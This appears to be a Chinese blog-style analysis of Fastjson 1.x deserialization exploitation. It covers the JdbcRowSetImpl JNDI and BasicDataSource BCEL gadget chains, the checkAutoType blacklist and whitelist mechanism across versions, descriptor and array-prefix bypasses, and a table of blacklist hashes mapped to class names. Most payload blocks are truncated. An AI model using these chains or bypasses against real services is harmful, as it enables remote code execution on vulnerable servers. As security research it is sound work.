java.lang.Class先把JdbcRowSetImpl放进 mappings,再触发)——很多教程的“两次请求/一次 JSON 两段”就是这个。
com.sun.rowset.JdbcRowSetImpl 是一个实现了 javax.sql.rowset.JdbcRowSet 接口的类,属于 JavaBeans 组件的一部分,用于在 Java 程序中管理和操作数据库数据。它提供了一种简化的方式来访问数据库,同时保持与 JDBC 的兼容性。
com.sun.rowset.JdbcRowSetImpl#setAutoCommit 函数可以调用到 JNDI 的 javax.naming.InitialContext#lookup 函数。
1 | /** |
上述代码要求:
@type:设置为com.sun.rowset.JdbcRowSetImpl。private Connection conn = null,这个在JdbcRowSetImpl的无参构造函数中就能设置。1
2
3
4public JdbcRowSetImpl() {
conn = null;
// [...]
}private String dataSource设置为 JNDI 的 URL,该字段有满足条件的 setter 函数可以设置该字段。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29// com.sun.rowset.JdbcRowSetImpl
public void setDataSourceName(String dsName) throws SQLException{
if(getDataSourceName() != null) {
if(!getDataSourceName().equals(dsName)) {
super.setDataSourceName(dsName);
conn = null;
ps = null;
rs = null;
}
}
else {
super.setDataSourceName(dsName);
}
}
// javax.sql.rowset.BaseRowSet
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}JSNO 中有
autoCommit字段确保触发setAutoCommit函数调用。
通过上述分析我们发现,JdbcRowSetImpl 的所有与利用相关的字段都可以保持默认或者通过 public 属性的 setter 函数设置,因此该利用链不需要启用 Feature.SupportNonPublicField。
因此有如下 payload:
1 | { |
BasicDataSource
这条链最大优势:不出网、不需要 SupportNonPublicField。最大限制:版本与 JDK 约束苛刻。
Fastjson ≤ 1.2.24:AutoType 默认开,且
checkAutoType尚未对ClassLoader/DataSource做定向封堵 → 可打。目标工程需有 dbcp/tomcat-dbcp(类名在 Tomcat 8+ 为
org.apache.tomcat.dbcp.dbcp2.BasicDataSource,更早为org.apache.tomcat.dbcp.dbcp.BasicDataSource)。依赖 JRE 内置的 BCEL 内部类(
com.sun.org.apache.bcel.internal.util.ClassLoader)。JDK 8u25x 以后对内置 BCEL 组件有移除/调整(比如ClassLoaderRepository自 8u251 起缺失),实战普遍反馈 8u251+ 该链失效;稳妥窗口多选 JDK 8u241 及以下。
org.apache.tomcat.dbcp.dbcp2.BasicDataSource 是 JDBC 连接池。
它实现了 javax.sql.DataSource,负责创建、复用与管理数据库连接(底层用的是 Apache Commons Pool2)。该组件来自 Tomcat,Maven 坐标如下:
1 | <dependency> |
当 BasicDataSource#getConnection 被调用时会有如下调用链:
1 | at com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass(ClassLoader.java:131) |
其中 BasicDataSource#createConnectionFactory 函数代码如下:
1 | /** |
createConnectionFactory() 的关键逻辑:
如果设置了
driverClassLoader,就用这个类加载器加载driverClassName中的字节码,得到driverFromCCL类。1
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
如果
driverFromCCL类成功加载,则反射调用该类的无参构造函数实例化成对象。
1 | driverToUse = (Driver) driverFromCCL.getConstructor().newInstance(); |
因此如果我们将 BasicDataSource 中的字段设置成下面这种形式:
driverClassLoader设成 **com.sun.org.apache.bcel.internal.util.ClassLoader**(JRE 内置 BCEL 类加载器)driverClassName设成 **"$$BCEL$$" + bcelCode**。
那么如果触发 BasicDataSource#getConnection 函数的调用就可以实现任意字节码加载。
普通的
ClassLoader(比如应用的 AppClassLoader)接收的是类名,它会去classpath 上找.class文件或父加载器里找现成类;BCEL 的
ClassLoader是一个“特殊类加载器”:当类名里包含$$BCEL$$子串时,它会把类名中携带的 BCEL 编码字节码取出来,解码后defineClass,等价于“把字节码塞在类名字符串里”完成动态加载。因此这里我们需要通过
com.sun.org.apache.bcel.internal.util.ClassLoader来实现任意字节码加载。
然而 getConnection 的返回值类型为 Connection,不是容器/Atomic,因此在反序列化阶段不会自动调用。
1 | public Connection getConnection() throws SQLException; |
为了能够确保触发 getConnection 函数调用,我们需要像下面这样构造 payload:
1 | { |
当我们通过 JSON.parse 解析这段 payload 的时候:
首先内层的 JSON 结构会被正常解析成一个
JSONObject。1
2
3
4
5
6
7{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
"driverClassName": "$$BCEL$$<bcelCode>"
}
}之后解析外层 JSON 结构时发现之前解析的 JSON 结构(
{"aaa": {...}})是外层 JSON 结构的一个键。1
{{"aaa": {...}} : "bbb"}
因此在
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject中会调用前面解析出来的JSONObject的toString方法将其转为字符串(这是因为JSONObject实现了Map<String, Object>接口,要序列化后键是字符串)。1
2
3
4
5
6
7
8
9
10public final Object parseObject(final Map object, Object fieldName) {
// 循环遍历 object 的 key
// [...]
if (object.getClass() == JSONObject.class) {
// 当前解析的 object 是 JSONObject
// 📌 调用 key 的 toString 方法
key = (key == null) ? "null" : key.toString();
}
// [...]
}而
JSONObject对象的toString方法实际上是调用toJSONString方法将其重新序列化。1
2
3
4
public String toString() {
return toJSONString();
}而根据前面的分析,FastJson 在序列化的时候,会递归分析调用内部所有对象的 getter 方法获取值,并且这里对 getter 方法返回值没有像反序列化那样严格要求。所以会调用到
getConnection方法,有如下调用链:1
2
3
4
5
6
7
8
9
10
11
12getConnection:753, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
write:-1, ASMSerializer_1_BasicDataSource (com.alibaba.fastjson.serializer)
write:251, MapSerializer (com.alibaba.fastjson.serializer)
write:275, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:799, JSON (com.alibaba.fastjson)
toString:793, JSON (com.alibaba.fastjson)
parseObject:436, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:18, Main
payload 生成代码如下:
1 | import com.sun.org.apache.bcel.internal.classfile.Utility; |
checkAutoType 绕过
checkAutoType 安全机制
在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制:
- 默认情况下
autoTypeSupport= false,不允许任意类反序列化。 - 而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
在后续版本中,checkAutoType 安全机制被不断修补加固,时间线如下:
| 时间/版本 | 变化要点 | 依据 |
|---|---|---|
| 2017-03-15(1.2.14.sec01 分支) | 首次引入 checkAutoType() 与“可配置”黑/白名单:新增系统属性 fastjson.parser.autoTypeSupport(是否允许 autoType)、fastjson.parser.autoTypeAccept(白名单前缀,可多值)、fastjson.parser.deny(黑名单前缀)。运行时通过 addItemsToAccept/Deny 注入;checkAutoType 先白/黑名单匹配再加载类。此时主要是“可配置白名单”,不是大而全的“内置白名单”。 |
变更 diff 展示了属性常量与 checkAutoType 主体引入(ParserConfig.java),以及 parseObject 调用改为 config.checkAutoType(...)。[GitHub];同日官方安全公告“security_update_20170315”。[GitHub Wiki] |
| ≤1.2.24 | 历史上 autoType 在很多场景等同于“可用/易被绕过”;多条利用链公开。 |
社区长文时间轴与复现。[Medium, cn-sec.com] |
| 1.2.25 | **默认关闭 autoType**(除非显式开启或白名单命中);继续沿用黑/白名单思路。 |
社区时间轴与 CVE-2017-18349 的“1.2.25 之前可 RCE”描述。[Medium, NVD, CVE Details] |
| 1.2.42 | 黑/白名单查找由明文前缀 → 64 位哈希(FNV-1a)+ 二分查找:denyHashCodes / acceptHashCodes;同时限制 typeName 长度(<3 或 ≥128 拒绝)。注意:这时白名单字符串常量仍保留,只是运行时计算其哈希做查找。 |
“bug fixed autoType denyList check” 提交里可见 TypeUtils.fnv1a_64(name)、Arrays.binarySearch(...),以及长度校验。[GitHub] |
| 1.2.61 | 黑名单常量从十进制 long → 十六进制(小写),属于“隐藏可搜索特征”的编码层面变化。 | “update blacklist” 提交可见十进制改为十六进制字面量。[GitHub] |
| 1.2.62 | 十六进制字面量改为大写并扩充黑名单(如 net.sf.cglib., oracle.jdbc., jdk.internal., org.objectweb.asm. 等),继续以哈希表呈现。 |
“add autoType blacklist” 提交。[GitHub] |
| 1.2.67 | “内置白名单也哈希化”:把原先源码里的白名单字符串数组(大量 Spring/JDBC/Security 等类名)整块删除,改为 INTERNAL_WHITELIST_HASHCODES(FNV-1a 值,已排序)。这是白名单表现形式的关键转折点。 |
“update whitelist” 提交的 diff 一边是被删除的明文白名单类型列表(String[] types = {...}),一边是新的 INTERNAL_WHITELIST_HASHCODES。[GitHub] |
| 1.2.68 | 引入 SafeMode:一旦开启,完全禁用 @type/autoType(黑/白名单都不再放行)。支持代码、JVM 参数、配置文件三种开启方式。 |
官方 SafeMode 说明与安全通报。[GitHub Wiki, NSFOCUS] |
| 1.2.83(2022-05-22) | 修复 CVE-2022-25845(再一次的 autoType 绕过 → RCE);官方呼吁升级或启用 SafeMode。 | JFrog 技术分析与 NVD 条目。[JFrog, NVD] |
| 2024-10-23 | fastjson 1.x 仓库被归档;官方推荐使用 fastjson2(重新设计,默认更安全)。 | 仓库页顶“archived by the owner on Oct 23, 2024”。[GitHub] |
相关结构与配置
安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:
1 | private boolean autoTypeSupport = AUTO_SUPPORT; |
布尔型的
autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31// 定义一个常量字符串,用来读取系统属性开关的 key
// 如果 JVM 启动参数里带有 -Dfastjson.parser.autoTypeSupport=true/false
// 就会被这里捕获,用于控制 AutoType 功能是否启用
public final static String AUTOTYPE_SUPPORT_PROPERTY = "fastjson.parser.autoTypeSupport";
// 定义一个全局常量,用于标识是否默认启用 AutoType
// 其值由上面的静态代码块初始化决定
public static final boolean AUTO_SUPPORT;
static {
// [...]
// 静态初始化块:类加载时就会执行
{
// 从系统属性中读取 fastjson.parser.autoTypeSupport 的值
// IOUtils.getStringProperty 会调用 System.getProperty()
// 如果没有设置该属性,返回 null
String property = IOUtils.getStringProperty(AUTOTYPE_SUPPORT_PROPERTY);
// 判断属性值是否等于 "true"
// 如果等于 "true",则开启 AutoType 支持,否则关闭
AUTO_SUPPORT = "true".equals(property);
}
// [...]
}
// 在 ParserConfig 类中,定义一个实例变量 autoTypeSupport
// 默认值来自全局常量 AUTO_SUPPORT
// 这样每个 ParserConfig 实例都会继承全局的 AutoType 配置
private boolean autoTypeSupport = AUTO_SUPPORT;字符串数组
denyList,是反序列化类的黑名单;其中黑名单denyList包括:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework黑名单中的元素支持动态添加:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24// 定义一个系统属性的 key,用于指定 AutoType 的“黑名单”类前缀
// 如果 JVM 启动参数里设置了 -Dfastjson.parser.deny=xxx,yyy,...
// 就会在 fastjson 启动时加载这些前缀作为禁止反序列化的类
public final static String DENY_PROPERTY = "fastjson.parser.deny";
// 全局静态黑名单数组,用来存放禁止的类名前缀
// 在类加载时会被初始化
public static final String[] DENYS;
static {
// [...]
{
// 从系统属性中读取 fastjson.parser.deny 的值
// 比如:System.getProperty("fastjson.parser.deny")
// 可能返回 "com.malicious.,org.exploit."
String property = IOUtils.getStringProperty(DENY_PROPERTY);
// 调用 splitItemsFormProperty 对字符串进行分割
// 结果会是一个 String[],每个元素代表一个禁止的类前缀
// 如果 property = null,则返回 null
DENYS = splitItemsFormProperty(property);
}
// [...]
}在构造函数中,
DENYS列表中的成员会通过addItemsToDeny函数添加到黑名单列表denyList中。acceptList是反序列化白名单。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36// 定义一个系统属性的 key,用于指定 AutoType 的“白名单”类前缀
// 如果 JVM 启动参数里设置了 -Dfastjson.parser.autoTypeAccept=xxx,yyy,...
// 就可以通过该属性为 fastjson 增加一批允许的类前缀
public final static String AUTOTYPE_ACCEPT = "fastjson.parser.autoTypeAccept";
// 全局静态白名单数组,用来存放允许的类名前缀
// 在类加载时会被初始化
private static final String[] AUTO_TYPE_ACCEPT_LIST;
static {
// [...]
{
// 从系统属性中读取 fastjson.parser.autoTypeAccept 的值
// 比如:System.getProperty("fastjson.parser.autoTypeAccept")
// 可能返回 "com.safe.,org.trusted."
String property = IOUtils.getStringProperty(AUTOTYPE_ACCEPT);
// 调用 splitItemsFormProperty 对字符串按逗号、分号等分隔符切分
// 转换成 String[] 数组
String[] items = splitItemsFormProperty(property);
// 如果没有设置该属性(返回 null),则初始化为空数组
if (items == null) {
items = new String[0];
}
// 赋值给全局白名单数组
AUTO_TYPE_ACCEPT_LIST = items;
}
// [...]
}
// 在 ParserConfig 实例中,定义一个实例级别的白名单数组
// 默认继承自全局的 AUTO_TYPE_ACCEPT_LIST
// 后续也可以通过 addAccept(...) 等方法动态扩展
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;添加反序列化白名单有 3 种方法:
代码方式调用 API
1
ParserConfig.getGlobalInstance().addAccept("com.example.safe.");
系统属性
1
-Dfastjson.parser.autoTypeAccept=com.example.safe.,org.myapp.model.
fastjson.properties配置文件在 classpath 下放置
fastjson.properties,内容如下:1
fastjson.parser.autoTypeAccept=com.example.safe.,org.myapp.model.
安全机制分析
在 com.alibaba.fastjson.parser.ParserConfig#checkAutoType 函数中,如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。
1 | // 如果全局开启了 autoTypeSupport,或者调用时传了期望类 expectClass |
如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。
1 | // Step 4: 如果 autoTypeSupport 没开,再检查黑名单和白名单 |
最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。
1 | // Step 5: 如果 autoTypeSupport 开启,或者有期望类,则直接尝试加载 |
哈希机制分析
在 fastjson 1.2.42 版本中,官方依然保留了 黑白名单检测机制,但对实现方式做了关键调整:黑名单不再存储明文类名,而是改为 基于哈希(Hash)的匹配,避免安全研究人员通过源码直接提取黑名单类名,进而对旧版本发起攻击。
核心逻辑依旧集中在 com.alibaba.fastjson.parser.ParserConfig 类中。在此类中,黑白名单的哈希值存储结构如下:
1 | private boolean autoTypeSupport = AUTO_SUPPORT; // 是否启用 AutoType(自动类型反序列化)支持 |
在静态代码块中,denyHashCodes 被直接赋值为一组敏感类的哈希值(使用 FNV-1a 算法计算而来)。例如:
1 | denyHashCodes = new long[]{ |
这些值对应了历史上常被用于攻击的高危类(如 JdbcRowSetImpl、TemplatesImpl、JNDI 相关类等),但具体类名已被隐藏,只保留哈希结果。
github 上有一个 fastjson-blacklist 项目通过枚举类名爆破了部分哈希值对应的包名。
对于白名单类名,系统会在初始化阶段根据类名计算其哈希值并排序后存储:
1 | long[] hashCodes = new long[AUTO_TYPE_ACCEPT_LIST.length]; |
计算字符串哈希的函数是 com.alibaba.fastjson.util.TypeUtils#fnv1a_64,这个函数使用 FNV-1a 算法,对类名进行哈希计算。
1 | public static long fnv1a_64(String key) { |
ParserConfig 还提供了运行时扩展 API,允许动态添加类名到黑名单或白名单:
1 | public void addDeny(String name) { |
在 checkAutoType 函数中,对类名的过滤同样也是通过计算查询哈希来实现的。例如下面这段代码是开启 autoTypeSupport 情况下的过滤:
1 | // 性能优化,类名规则通常不短于 3 个字符 |
基于类型描述符绕过
JVM 类型描述符(Type Descriptor)是一种字符串编码,用来在 .class 字节码里精确表示字段类型和方法签名(参数与返回值)。编译器、类加载器、反射、JNI、ASM 等都用它来识别类型。它是给机器看的“类型速记”,不是给人看的源码类型。
这里涉及到的类型描述符有:
引用类型(任意类/接口)
形式:
L+ 内部类名 +;“内部类名”(internal name)用 斜杠
/分隔包名;内部类用$。java.lang.String→Ljava/lang/String;java.util.Map$Entry→Ljava/util/Map$Entry;
数组类型
形式:
[+ 组件类型描述符多维数组就多个
[:int[]→[IString[]→[Ljava/lang/String;int[][]→[[IMap<String,Integer>[][](泛型被擦除)→[[Ljava/util/Map;
com.alibaba.fastjson.util.TypeUtils#loadClass 在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [、L、; 字符。
1 | // 尝试根据类名加载一个 Class 对象,并带有缓存与多种 ClassLoader 回退策略 |
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。
当然这里仅仅是绕过了开启 autoType 的情况,而如果是默认 autoTypeSupport 为 false 的情况下不会加载白名单以外的类。
1 | System.setProperty("fastjson.parser.autoTypeSupport", "true"); |
引用类型绕过(1.2.25 - 1.2.41)
在之前的 payload 类名上前后加上 L 和 ; 即可:
1 | { |
在 TypeUtils#loadClass 中这部分字符会被去掉。
1 | // Step 3: 如果是对象数组的内部表示形式(以 L 开头,以 ; 结尾) |
引用类型双写绕过(1.2.42)
FastJson 在 1.2.42 版本还在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring 进行了去除。
1 | // 定义 FNV-1a 算法的两个常量 |
由于这里只检测并去除一次 L 和 ;,因此我们只需要双写绕过即可。
1 | { |
FastJson 在 1.2.43 版本修复了上一个版本中双写绕过的问题。可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常:
1 | // FNV-1a 64 位哈希的固定参数 |
这样使用 L、; 绕过黑名单的思路就被阻挡了。
数组类型绕过(1.2.25 - 1.2.43)
在 loadClass 的过程中,还针对 [ 也进行了处理和递归:
1 | // Step 2: 如果是数组类型(以 [ 开头) |
因此可以利用 [ 进行黑名单的绕过:
1 | { |
提示
Fastjson 在早期版本(比如 1.2.42/43)里,专门对 @type 做了扩展:
如果
@type的值是一个以[开头的字符串,例如:1
"@type": "[com.foo.Bar"
Fastjson 会把它理解为 “数组类型声明”,即
com.foo.Bar[]。这时候,**紧跟着的
[**(没有逗号、没有结束分隔)会被 Fastjson 容错解析为 这个数组类型的实际数组值。
也就是说:
1 | "@type":"[com.sun.rowset.JdbcRowSetImpl"[{...}] |
在 Fastjson 的解析逻辑里被拆成:
@type = "[com.sun.rowset.JdbcRowSetImpl"→ 类型是JdbcRowSetImpl[];[{...}]→ 这是数组的具体元素(里面放一个对象,字段dataSourceName、autoCommit)。
在有些资料中,上述 payload 会被写成错误格式,例如:
1 | { |
但是由于 FastJson 的解析顺序问题,JdbcRowSetImpl 对象依旧可以被实例化。
FastJson 在 1.2.43 版本修复了上一个版本中使用 [ 绕过黑名单防护的问题。
可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。
1 | // FNV-1a 64 位哈希的固定参数 |
基于黑名单外的类绕过
这里主要是通过寻找黑名单之外的类进行绕过。
FastJson 1.2.42 引入了哈希机制,下面是目前已知的黑名单列表:
| version | hash | hex-hash | name |
|---|---|---|---|
| 1.2.42 | 33238344207745342 | 0x761619136cc13eL | bsh |
| 1.2.42 | -8720046426850100497 | 0x86fc2bf9beaf7aefL | org.apache.commons.collections4.comparators |
| 1.2.42 | -8109300701639721088 | 0x8f75f9fa0df03f80L | org.python.core |
| 1.2.42 | -7966123100503199569 | 0x9172a53f157930afL | org.apache.tomcat |
| 1.2.42 | -7766605818834748097 | 0x9437792831df7d3fL | org.apache.xalan |
| 1.2.42 | -6835437086156813536 | 0xa123a62f93178b20L | javax.xml |
| 1.2.42 | -4837536971810737970 | 0xbcdd9dc12766f0ceL | org.springframework. |
| 1.2.42 | -4082057040235125754 | 0xc7599ebfe3e72406L | org.apache.commons.beanutils |
| 1.2.42 | -2364987994247679115 | 0xdf2ddff310cdb375L | org.apache.commons.collections.Transformer |
| 1.2.42 | -1872417015366588117 | 0xe603d6a51fad692bL | org.codehaus.groovy.runtime |
| 1.2.42 | -254670111376247151 | 0xfc773ae20c827691L | java.lang.Thread |
| 1.2.42 | -190281065685395680 | 0xfd5bfc610056d720L | javax.net. |
| 1.2.42 | 313864100207897507 | 0x45b11bc78a3aba3L | com.mchange |
| 1.2.42 | 1203232727967308606 | 0x10b2bdca849d9b3eL | org.apache.wicket.util |
| 1.2.42 | 1502845958873959152 | 0x14db2e6fead04af0L | java.util.jar. |
| 1.2.42 | 3547627781654598988 | 0x313bb4abd8d4554cL | org.mozilla.javascript |
| 1.2.42 | 3730752432285826863 | 0x33c64b921f523f2fL | java.rmi |
| 1.2.42 | 3794316665763266033 | 0x34a81ee78429fdf1L | java.util.prefs. |
| 1.2.42 | 4147696707147271408 | 0x398f942e01920cf0L | com.sun. |
| 1.2.42 | 5347909877633654828 | 0x4a3797b30328202cL | java.util.logging. |
| 1.2.42 | 5450448828334921485 | 0x4ba3e254e758d70dL | org.apache.bcel |
| 1.2.42 | 5751393439502795295 | 0x4fd10ddc6d13821fL | java.net.Socket |
| 1.2.42 | 5944107969236155580 | 0x527db6b46ce3bcbcL | org.apache.commons.fileupload |
| 1.2.42 | 6742705432718011780 | 0x5d92e6ddde40ed84L | org.jboss |
| 1.2.42 | 7179336928365889465 | 0x63a220e60a17c7b9L | org.hibernate |
| 1.2.42 | 7442624256860549330 | 0x6749835432e0f0d2L | org.apache.commons.collections.functors |
| 1.2.42 | 8838294710098435315 | 0x7aa7ee3627a19cf3L | org.apache.myfaces.context.servlet |
| 1.2.43 | -2262244760619952081 | 0xe09ae4604842582fL | java.net.URL |
| 1.2.46 | -8165637398350707645 | 0x8eadd40cb2a94443L | junit. |
| 1.2.46 | -8083514888460375884 | 0x8fd1960988bce8b4L | org.apache.ibatis.datasource |
| 1.2.46 | -7921218830998286408 | 0x92122d710e364fb8L | org.osjava.sj. |
| 1.2.46 | -7768608037458185275 | 0x94305c26580f73c5L | org.apache.log4j. |
| 1.2.46 | -6179589609550493385 | 0xaa3daffdb10c4937L | org.logicalcobwebs. |
| 1.2.46 | -5194641081268104286 | 0xb7e8ed757f5d13a2L | org.apache.logging. |
| 1.2.46 | -3935185854875733362 | 0xc963695082fd728eL | org.apache.commons.dbcp |
| 1.2.46 | -2753427844400776271 | 0xd9c9dbf6bbd27bb1L | com.ibatis.sqlmap.engine.datasource |
| 1.2.46 | -1589194880214235129 | 0xe9f20bad25f60807L | org.jdom. |
| 1.2.46 | 1073634739308289776 | 0xee6511b66fd5ef0L | org.slf4j. |
| 1.2.46 | 5688200883751798389 | 0x4ef08c90ff16c675L | javassist. |
| 1.2.46 | 7017492163108594270 | 0x616323f12c2ce25eL | oracle.net |
| 1.2.46 | 8389032537095247355 | 0x746bd4a53ec195fbL | org.jaxen. |
| 1.2.48 | 1459860845934817624 | 0x144277b467723158L | java.net.InetAddress |
| 1.2.48 | 8409640769019589119 | 0x74b50bb9260e31ffL | java.lang.Class |
| 1.2.49 | 4904007817188630457 | 0x440e89208f445fb9L | com.alibaba.fastjson.annotation |
| 1.2.59 | 5100336081510080343 | 0x46c808a4b5841f57L | org.apache.cxf.jaxrs.provider. |
| 1.2.59 | 6456855723474196908 | 0x599b5c1213a099acL | ch.qos.logback. |
| 1.2.59 | 8537233257283452655 | 0x767a586a5107feefL | net.sf.ehcache.transaction.manager. |
| 1.2.60 | 3688179072722109200 | 0x332f0b5369a18310L | com.zaxxer.hikari. |
| 1.2.61 | -4401390804044377335 | 0xc2eb1e621f439309L | flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor |
| 1.2.61 | -1650485814983027158 | 0xe9184be55b1d962aL | org.apache.openjpa.ee. |
| 1.2.61 | -1251419154176620831 | 0xeea210e8da2ec6e1L | oracle.jdbc.rowset.OracleJDBCRowSet |
| 1.2.61 | -9822483067882491 | 0xffdd1a80f1ed3405L | com.mysql.cj.jdbc.admin. |
| 1.2.61 | 99147092142056280 | 0x1603dc147a3e358L | oracle.jdbc.connector.OracleManagedConnectionFactory |
| 1.2.61 | 3114862868117605599 | 0x2b3a37467a344cdfL | org.apache.ibatis.parsing. |
| 1.2.61 | 4814658433570175913 | 0x42d11a560fc9fba9L | org.apache.axis2.jaxws.spi.handler. |
| 1.2.61 | 6511035576063254270 | 0x5a5bd85c072e5efeL | jodd.db.connection. |
| 1.2.61 | 8925522461579647174 | 0x7bddd363ad3998c6L | org.apache.commons.configuration.JNDIConfiguration |
| 1.2.62 | -9164606388214699518 | 0x80d0c70bcc2fea02L | org.apache.ibatis.executor. |
| 1.2.62 | -8649961213709896794 | 0x87f52a1b07ea33a6L | net.sf.cglib. |
| 1.2.62 | -6316154655839304624 | 0xa85882ce1044c450L | oracle.net. |
| 1.2.62 | -5764804792063216819 | 0xafff4c95b99a334dL | com.mysql.cj.jdbc.MysqlDataSource |
| 1.2.62 | -4608341446948126581 | 0xc00be1debaf2808bL | jdk.internal. |
| 1.2.62 | -4438775680185074100 | 0xc2664d0958ecfe4cL | aj.org.objectweb.asm. |
| 1.2.62 | -3319207949486691020 | 0xd1efcdf4b3316d34L | oracle.jdbc. |
| 1.2.62 | -2192804397019347313 | 0xe1919804d5bf468fL | org.apache.commons.collections.comparators. |
| 1.2.62 | -2095516571388852610 | 0xe2eb3ac7e56c467eL | net.sf.ehcache.hibernate. |
| 1.2.62 | 4750336058574309 | 0x10e067cd55c5e5L | com.mysql.cj.log. |
| 1.2.62 | 218512992947536312 | 0x3085068cb7201b8L | org.h2.jdbcx. |
| 1.2.62 | 823641066473609950 | 0xb6e292fa5955adeL | org.apache.commons.logging. |
| 1.2.62 | 1534439610567445754 | 0x154b6cb22d294cfaL | org.apache.ibatis.reflection. |
| 1.2.62 | 1818089308493370394 | 0x193b2697eaaed41aL | org.h2.server. |
| 1.2.62 | 2164696723069287854 | 0x1e0a8c3358ff3daeL | org.apache.ibatis.datasource. |
| 1.2.62 | 2653453629929770569 | 0x24d2f6048fef4e49L | org.objectweb.asm. |
| 1.2.62 | 2836431254737891113 | 0x275d0732b877af29L | flex.messaging.util.concurrent. |
| 1.2.62 | 3089451460101527857 | 0x2adfefbbfe29d931L | org.apache.ibatis.javassist. |
| 1.2.62 | 3256258368248066264 | 0x2d308dbbc851b0d8L | java.lang.UNIXProcess |
| 1.2.62 | 3718352661124136681 | 0x339a3e0b6beebee9L | org.apache.ibatis.ognl. |
| 1.2.62 | 4046190361520671643 | 0x3826f4b2380c8b9bL | com.mysql.cj.jdbc.MysqlConnectionPoolDataSource |
| 1.2.62 | 4841947709850912914 | 0x43320dc9d2ae0892L | org.codehaus.jackson. |
| 1.2.62 | 6280357960959217660 | 0x5728504a6d454ffcL | org.apache.ibatis.scripting. |
| 1.2.62 | 6534946468240507089 | 0x5ab0cb3071ab40d1L | org.apache.commons.proxy. |
| 1.2.62 | 6734240326434096246 | 0x5d74d3e5b9370476L | com.mysql.cj.jdbc.MysqlXADataSource |
| 1.2.62 | 7123326897294507060 | 0x62db241274397c34L | org.apache.commons.collections.functors. |
| 1.2.62 | 8488266005336625107 | 0x75cc60f5871d0fd3L | org.apache.commons.configuration |
| 1.2.66 | -2439930098895578154 | 0xde23a0809a8b9bd6L | javax.script. |
| 1.2.66 | -582813228520337988 | 0xf7e96e74dfa58dbcL | javax.sound. |
| 1.2.66 | -26639035867733124 | 0xffa15bf021f1e37cL | javax.print. |
| 1.2.66 | 386461436234701831 | 0x55cfca0f2281c07L | javax.activation. |
| 1.2.66 | 1153291637701043748 | 0x100150a253996624L | javax.tools. |
| 1.2.66 | 1698504441317515818L | 0x17924cca5227622aL | javax.management. |
| 1.2.66 | 7375862386996623731L | 0x665c53c311193973L | org.apache.xbean. |
| 1.2.66 | 7658177784286215602L | 0x6a47501ebb2afdb2L | org.eclipse.jetty. |
| 1.2.66 | 8055461369741094911L | 0x6fcabf6fa54cafffL | javax.naming. |
| 1.2.67 | -7775351613326101303L | 0x941866e73beff4c9L | org.apache.shiro.realm. |
| 1.2.67 | -6025144546313590215L | 0xac6262f52c98aa39L | org.apache.http.conn. |
| 1.2.67 | -5939269048541779808L | 0xad937a449831e8a0L | org.quartz. |
| 1.2.67 | -5885964883385605994L | 0xae50da1fad60a096L | com.taobao.eagleeye.wrapper |
| 1.2.67 | -3975378478825053783L | 0xc8d49e5601e661a9L | org.apache.http.impl. |
| 1.2.67 | -2378990704010641148L | 0xdefc208f237d4104L | com.ibatis. |
| 1.2.67 | -905177026366752536L | 0xf3702a4a5490b8e8L | org.apache.catalina. |
| 1.2.67 | 2660670623866180977L | 0x24ec99d5e7dc5571L | org.apache.http.auth. |
| 1.2.67 | 2731823439467737506L | 0x25e962f1c28f71a2L | br.com.anteros. |
| 1.2.67 | 3637939656440441093L | 0x327c8ed7c8706905L | com.caucho. |
| 1.2.67 | 4254584350247334433L | 0x3b0b51ecbf6db221L | org.apache.http.cookie. |
| 1.2.67 | 5274044858141538265L | 0x49312bdafb0077d9L | org.javasimon. |
| 1.2.67 | 5474268165959054640L | 0x4bf881e49d37f530L | org.apache.cocoon. |
